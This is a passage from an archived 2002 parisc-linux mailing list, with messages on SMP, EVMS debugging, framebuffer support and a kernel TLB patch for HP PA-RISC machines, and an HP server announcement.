iZiEMMDsipyW54Y2+CFh/LaOX38jcj2K3LYHveNLFbnaulWKaQYtjKWW4qOO8lliaKK4Nn2oxLwO
4rEezrJYLGAUyPKh72m//5xBHCUToIfGCRbkPMiCZemLwYdjMUPrJ1GBYRD9pXJKkGBGrTaRXgns
hDNMvsLKAEtpzH3KwvMIRBhhM+onKRuuYarMksdkfMV3lsRYpsc+WCv7ywrXV7UL8BKehmtOWsJp
nWhyi+TsZEh1PbYBTkGoXUTOpghCqlfqMXhppNJhPsQZ2m7zTgCxL7T/l59iFkcZijJt29xbLLTh
JMoy5XbVoKOv5UzdT0QFxT9xwlAPKdZSFRul0MaqZ83sIb2/IGatP4JJilWgE67RRT5cZdM1K6n2
hGA/y3DyWtJEeGXdljjVEJ2CWkwEcYbNZ5Qx1s299ErlkbMUhCo65Bqrc8y1L4evMEg53RMOrwUm
02pcKa/Xh/0dZ+ykqFsX43VGIeGKqgKxQFaEepBYY1Cypu1em/JjvKVhxFVAYDCvU/I8ReRgRIyi
IIHXZ+9aZYlgY6WTIQLoWGVRTatO6Y6ScgxOtdoFOg5TSojzw9tAFlXbrUnI8W1XwZggWHIrR6lY
WoZjMFfPAtvS4/lUx5LFsFXlpptG12B6Ac8tVrNVCcK2fMeuEwTBOZIcZskEZ8GkEtb/3/OycJxf
SR4k2tox6Loqbqoprd4GV94AS9jD1IxZOfiEtdhEYEa/uY62KErLbyaIKQHub1PUNl9Q0HxBwTd/
QcH32Hr+GHuKm6/1aFDToKZBTYOaBjUNahrUNKhpUNOgpkFNg5oGNQ1qGtQ0qGlQ06CmQU2DmgY1
D0VNlPIi/sin4UcpeJHmeEFFv6FF6cfRbDxGuwTlCgAfbNfxPMdknd1ZW/pVyhwAn2Sd/0DOD81t
uro+oDVyQSuKMNoO2VZMMsVl2ZKOx1IUJM6Ho8FZ/+z1MxgWAZ9AlpbvWekVJc9tBmEKtC6Dpzk6
IUuT8Jn2ajZVL4/nUV7MMGCXDqI3sZwWNshCBKFWk5WM1QIvc2F12p5aq1GkyzPHdUx/B8QYeTsh
xpj/UDFoCcg/yjLekGXsuo9jkttijH6sSf5RDG9DDDrzNe3XcoXBSTCLC8yCaSgOWRsT95U8ZFWf
PVq0dLjUxNnXNKDPH//N5x+Oh5dv3p79/rL3/pSPyp/z1yeD3y5e9bWL4QcfzPUPq/4yVv0BWvNQ
BJFappSbpm7aUHcCZlpj7jE6oP8R0HWgsifSOrrpApEEI6KtLV0ZuWLDkNbTGVvjW7XQAQ9HQo0U
uoovs3S0wAYtkoyXJJ6Sqs35qEO0HZ11gdZl1SOOLMf06IAp2oqNllumbtlEG7p8yddyR4HY1DZE
bZHW0S0XNsQsDxTJqKQVgaloPd2udbNLvjbxrf2HxmNd1zY1mZs6inDLDsIdfX4FaR3d/Yz2zgNN
6x8Nf/PvoOgfneN1ch4THbM6cDTo9wdIzzuobZdGgf5wsMYA+ud4WkWcBr2Ldz4sP9gKvYFt+qQg
zp9IjqeMhrG7pK8G54P+648Dy6s4Wp72N4/umd61jAEA

--0__=C1256B7400656CC08f9e8a93df938690918cC1256B7400656CC0--




From - Thu Nov 08 21:21:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jeremy Drake <jeremyd@apptechsys.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] SMP support
Date: Wed, 6 Mar 2002 12:05:52 -0800 (PST)
Lines: 21
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.33L2.0203061147470.6941-100000@eiger.apptechsys.com>
References: <02030609103100.00899@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621129 4139 80.91.229.3 (22 Nov 2014 01:52:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:09 +0000 (UTC)
To: <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 13:06:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.apptechsys.com (mail.apptechsys.com [207.14.35.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id B30F14850
	for <parisc-linux@parisc-linux.org>; Wed,  6 Mar 2002 13:06:11 -0700 (MST)
Original-Received: from eiger.apptechsys.com (ats198.apptechsys.com [207.14.35.198])
	by mail.apptechsys.com (Postfix) with ESMTP id 92BC47BC4C
	for <parisc-linux@parisc-linux.org>; Wed,  6 Mar 2002 12:05:52 -0800 (PST)
In-Reply-To: <02030609103100.00899@localhost.localdomain>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14247

HP J5000 running 2.4.17-32-smp package

> > > cpu  599904 33379482 34656795 68636319
> > > cpu0 0 0 64 68636186
> > > cpu1 599904 33379482 34656731 133
> > >

> for comparison: (2.4.17 on an x86 smp-box)
>
> cpu  2867 96 1822 231717
> cpu0 1400 37 671 116143
> cpu1 1467 59 1151 115574
>

I wasn't seeing any proof anywhere on the system, other than cpuinfo, that
this box was using 2 processors, so I was looking for some.  This looks to
me like smp is broken.  It sees 2 processors, but only one is used.  I
just tried 2.4.16-32-smp and it is like this too.




From - Thu Nov 08 21:21:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] evms-0.9.1 && hppa (follow ...)
Date: Wed, 06 Mar 2002 15:19:09 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20020306221909.DF1EE484D@dsl2.external.hp.com>
References: <OF5C49A386.7B121133-ONC1256B74.00656CC0@com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621129 4144 80.91.229.3 (22 Nov 2014 01:52:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 15:19:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id DF1EE484D; Wed,  6 Mar 2002 15:19:09 -0700 (MST)
In-Reply-To: Message from "=?iso-8859-1?Q?Jo=EBl_Soete?=" <jso@europay.com> 
   of "Wed, 06 Mar 2002 19:57:31 +0100." <OF5C49A386.7B121133-ONC1256B74.00656CC0@com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14248

"=?iso-8859-1?Q?Jo=EBl_Soete?=" wrote:

>           printk(KERN_ERR "--evms: %s, %s call, ckp7p: io_sector_offset
> =%llu.\n", __FILE__ , __FUNCTION__, io_sector_offset );
>           user_buffer_ptr = user_parms->buffer_address;
>           printk(KERN_ERR "--evms: %s, %s call, ckp7pp.\n", __FILE__ ,
> __FUNCTION__ );
....

> So it seems to failled on the assignement: "user_buffer_ptr =
> user_parms->buffer_address;" . That is over my understanding without much
> help. Any idea ?

Could it be that "user_parms->buffer_address" should really be
"tmp->buffer_address"?

Just wondering if the copy_from_user() higher up in the code means
arg points to something in userspace. getting stack unwinds
for problems like this would be really nice...(hint hint)

grant



From - Thu Nov 08 21:21:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB on c3k
Date: Wed, 6 Mar 2002 22:19:43 +0000 (GMT)
Lines: 28
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0203062122110.28766-100000@sal.ucc.ie>
References: <20020306164603.D7DED4845@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621129 4148 80.91.229.3 (22 Nov 2014 01:52:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:09 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 15:21:56 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from interzone.ucc.ie (interzone.ucc.ie [143.239.1.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 33A4E4876
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Mar 2002 15:21:55 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by interzone.ucc.ie (8.9.3/8.9.3) with ESMTP id WAA12578;
	Wed, 6 Mar 2002 22:23:09 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <20020306164603.D7DED4845@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14249

On Wed, 6 Mar 2002, Grant Grundler wrote:

> "M. Grabert" wrote:
> > very nice!
> > Is the Visual-EG of the same type as the Visual-EG in my C240?

Arghhll. Forget it, I have a Visualize-FX2 (A4552A) card!
I should really now my system ;)

> > Can you use the driver for Visual-FX aswell (AFAIK these are similar) ?

except for the fact that FX do 3D and EG not ;)

> They are not similar. Vis-EG is 1280x1024 8 bit.
> Vis-FX are all 24-bit color. FX2/4/6 have 3d acceleration
> and texture mapping functionality (AFAIK, Vis-FXe does not)
> I think Vis-FX can handle higher resolutions as well.

Well, I was talking about the 2D stuff. I suppose the
2D drawing commands are the same as on the -EG (at least I hope so).

Does anybody know a good PCI graphics card (Universal or 3.3 voltage)
that is supported in XFree-4 (and may run in a C240) ?

Thanks max




From - Thu Nov 08 21:21:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB on c3k
Date: Thu, 7 Mar 2002 00:22:39 +0100
Lines: 102
Approved: news@gmane.org
Message-ID: <20020307002239.A9224@solo.franken.de>
References: <20020306080101.B6A874859@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621130 4151 80.91.229.3 (22 Nov 2014 01:52:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@dsl2.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 16:23:33 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (p50845385.dip.t-dialin.net [80.132.83.133])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2AC23483A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Mar 2002 16:23:32 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g26NMd214952;
	Thu, 7 Mar 2002 00:22:39 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20020306080101.B6A874859@dsl2.external.hp.com>; from grundler@dsl2.external.hp.com on Wed, Mar 06, 2002 at 01:01:01AM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14250

On Wed, Mar 06, 2002 at 01:01:01AM -0700, Grant Grundler wrote:
> 
> Getting closer.

right of me is a monitor connected to a B2600 with a X screen on it :-)

> I suspect some parameter isn't right for FB device definition
> but don't know what. Hoping the diagonal lines are the clue
> that someone could tell me about - some sort of "off-by-one"
> type of error.

No jsm is right, the U bit doesn't matter, if we set the right
physical address in the TLB. I really don't understand why it's
needed to supply more than 40bit, but with the patch below X works
(fbi still crashes the machine, but that could be a font problem,
as well). Before I'll commit the change, I'll post it here for
comments.

Thomas.

PS: VIS-EG users, who don't get a clear tux on the screen after startup
should select a non double buffered mode. There's more to do to get it
working in double buffered mode.


Index: entry.S
===================================================================
RCS file: /home/cvs/parisc/linux/arch/parisc/kernel/entry.S,v
retrieving revision 1.90
diff -u -p -r1.90 entry.S
--- entry.S	2002/03/03 23:00:10	1.90
+++ entry.S	2002/03/06 23:13:33
@@ -1045,8 +1045,6 @@ dtlb_miss_20w:
 	space_to_prot   spc prot        /* create prot id from space */
 	depd            pte,8,7,prot    /* add in prot bits from pte */
 
-	extrd,u,*=      pte,_PAGE_NO_CACHE_BIT+32,1,r0
-	depdi		1,12,1,prot
 	extrd,u,*=      pte,_PAGE_USER_BIT+32,1,r0
 	depdi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
 	extrd,u,*= 	pte,_PAGE_GATEWAY_BIT+32,1,r0
@@ -1055,7 +1053,7 @@ dtlb_miss_20w:
 	/* Get rid of prot bits and convert to page addr for idtlbt */
 
 	depdi		0,63,12,pte
-	extrd,u         pte,56,32,pte
+	extrd,u         pte,56,52,pte
 	idtlbt          pte,prot
 
 	rfir
@@ -1124,8 +1122,6 @@ nadtlb_miss_20w:
 	space_to_prot   spc prot        /* create prot id from space */
 	depd            pte,8,7,prot    /* add in prot bits from pte */
 
-	extrd,u,*=      pte,_PAGE_NO_CACHE_BIT+32,1,r0
-	depdi		1,12,1,prot
 	extrd,u,*=      pte,_PAGE_USER_BIT+32,1,r0
 	depdi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
 	extrd,u,*= 	pte,_PAGE_GATEWAY_BIT+32,1,r0
@@ -1134,7 +1130,7 @@ nadtlb_miss_20w:
 	/* Get rid of prot bits and convert to page addr for idtlbt */
 
 	depdi		0,63,12,pte
-	extrd,u         pte,56,32,pte
+	extrd,u         pte,56,52,pte
 	idtlbt          pte,prot
 
 	rfir
@@ -1151,7 +1147,7 @@ nadtlb_check_flush_20w:
 	/* Get rid of prot bits and convert to page addr for idtlbt */
 
 	depdi		0,63,12,pte
-	extrd,u         pte,56,32,pte
+	extrd,u         pte,56,52,pte
 	idtlbt          pte,prot
 
 	rfir
@@ -1743,8 +1739,6 @@ dbit_nolock_20w:
 	space_to_prot   spc prot        /* create prot id from space */
 	depd            pte,8,7,prot    /* add in prot bits from pte */
 
-	extrd,u,*=      pte,_PAGE_NO_CACHE_BIT+32,1,r0
-	depdi		1,12,1,prot
 	extrd,u,*=      pte,_PAGE_USER_BIT+32,1,r0
 	depdi		7,11,3,prot   /* Set for user space (1 rsvd for read) */
 	extrd,u,*= 	pte,_PAGE_GATEWAY_BIT+32,1,r0
@@ -1753,7 +1747,7 @@ dbit_nolock_20w:
 	/* Get rid of prot bits and convert to page addr for idtlbt */
 
 	depdi		0,63,12,pte
-	extrd,u         pte,56,32,pte
+	extrd,u         pte,56,52,pte
 	idtlbt          pte,prot
 #ifdef CONFIG_SMP
 	CMPIB=,n        0,spc,dbit_nounlock_20w


-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:21:58 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New PA8700 1-2way 2U servers
Date: Wed, 06 Mar 2002 17:34:51 -0700
Lines: 30
Approved: news@gmane.org
Message-ID: <20020307003451.B75F037CF5@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621130 4155 80.91.229.3 (22 Nov 2014 01:52:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:10 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 17:35:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9CB0B483B
	for <parisc-linux@parisc-linux.org>; Wed,  6 Mar 2002 17:35:12 -0700 (MST)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP id 73B4A5BA
	for <parisc-linux@parisc-linux.org>; Wed,  6 Mar 2002 19:34:52 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id B75F037CF5
	for <parisc-linux@parisc-linux.org>; Wed,  6 Mar 2002 17:34:51 -0700 (MST)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14251

FYI...

HP announced new 1-2way 2U servers today, named the "rp2400" line. This is an 
update of the a400/a500 class machines to the PA8700 processor, running at 
either 650 or 750MHz.

Press release at,
http://www.hp.com/hpinfo/newsroom/press/06mar02a.htm

Product page at,
http://www.hp.com/products1/servers/rackoptimized/rp2400/index.html

I was amazed to learn that the low-end one will "start at an estimated U.S. 
street price of less than $1,000." I'm assuming that's the UP 650 module with 
minimal ram and disk but it's still cool. This may be the first parisc system 
ever to ship from HP at under $1000USD.

Here in HP's Linux Lab we haven't got one to test with yet but you can bet we 
will soon :) If anyone gets ahold of one of these please try it and send 
results to the list/hwdb.

Long live parisc!

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation





From - Thu Nov 08 21:21:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James S <smithjames@comcast.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Printer Port & kernel stuff
Date: Wed, 06 Mar 2002 22:44:09 -0500
Lines: 18
Approved: news@gmane.org
Message-ID: <003401c1c58a$584a2f20$02c1a8c0@james.co.uk>
References: <005101c1c480$ae437900$02c1a8c0@james.co.uk>
 <20020305200711.E30960@parcelfarce.linux.theplanet.co.uk>
Reply-To: James S <smithjames@comcast.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1416621130 4158 80.91.229.3 (22 Nov 2014 01:52:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Mar  6 20:44:18 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp.comcast.net (smtp.comcast.net [24.153.64.2])
	by dsl2.external.hp.com (Postfix) with ESMTP id 564994843
	for <parisc-linux@lists.parisc-linux.org>; Wed,  6 Mar 2002 20:44:18 -0700 (MST)
Original-Received: from kenny (pcp944901pcs.cstltn01.in.comcast.net [68.58.113.28])
 by mtaout04.icomcast.net (iPlanet Messaging Server 5.1 (built Feb  6 2002))
 with SMTP id <0GSL005WX3PNE5@mtaout04.icomcast.net> for
 parisc-linux@lists.parisc-linux.org; Wed, 06 Mar 2002 22:44:12 -0500 (EST)
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-Priority: 3
X-MSMail-priority: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14252

> > i need to recompile to include smbfs (which i think would be very handy
if
> > compiled into the kernel as standard)
>
> last i heard it still wouldn't compile.  but maybe it got fixed and i
> don't remember.
>

just recompiled the kernel with smbfs & it works fine

James S








From - Thu Nov 08 21:21:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FB on c3k
Date: Thu, 07 Mar 2002 00:31:16 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20020307073117.4C572482F@dsl2.external.hp.com>
References: <20020306080101.B6A874859@dsl2.external.hp.com>  <20020307002239.A9224@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621131 4163 80.91.229.3 (22 Nov 2014 01:52:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 00:31:17 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 4C572482F; Thu,  7 Mar 2002 00:31:17 -0700 (MST)
In-Reply-To: Message from Thomas Bogendoerfer <tsbogend@alpha.franken.de> 
   of "Thu, 07 Mar 2002 00:22:39 +0100." <20020307002239.A9224@solo.franken.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:14253

Thomas Bogendoerfer wrote:
> right of me is a monitor connected to a B2600 with a X screen on it :-)

Cool!

> No jsm is right, the U bit doesn't matter, if we set the right
> physical address in the TLB. I really don't understand why it's
> needed to supply more than 40bit,

B2600 has PA-8600. Maybe PA-8600 needs 44 bits of physical address?
PA-8000 only needed 40-bits, iirc.
I thought N-class (PA-8500) used 44-bits.

> but with the patch below X works
> (fbi still crashes the machine, but that could be a font problem,
> as well). Before I'll commit the change, I'll post it here for
> comments.

I tried it with 32-bit kernel on c3k.  That hpmc'd.
(Vis-EG, 1600x1200 8bit).
Are you using 64-bit kernel?

It's bedtime here and I need to post a diff here as well.

thanks,
grant



From - Thu Nov 08 21:21:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PATCH SBA SMP + other mis
Date: Thu,  7 Mar 2002 00:58:05 -0700 (MST)
Lines: 249
Approved: news@gmane.org
Message-ID: <20020307075805.70FA8484C@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621131 4167 80.91.229.3 (22 Nov 2014 01:52:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:52:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar  7 00:58:05 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 70FA8484C; Thu,  7 Mar 2002 00:58:05 -0700 (MST)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
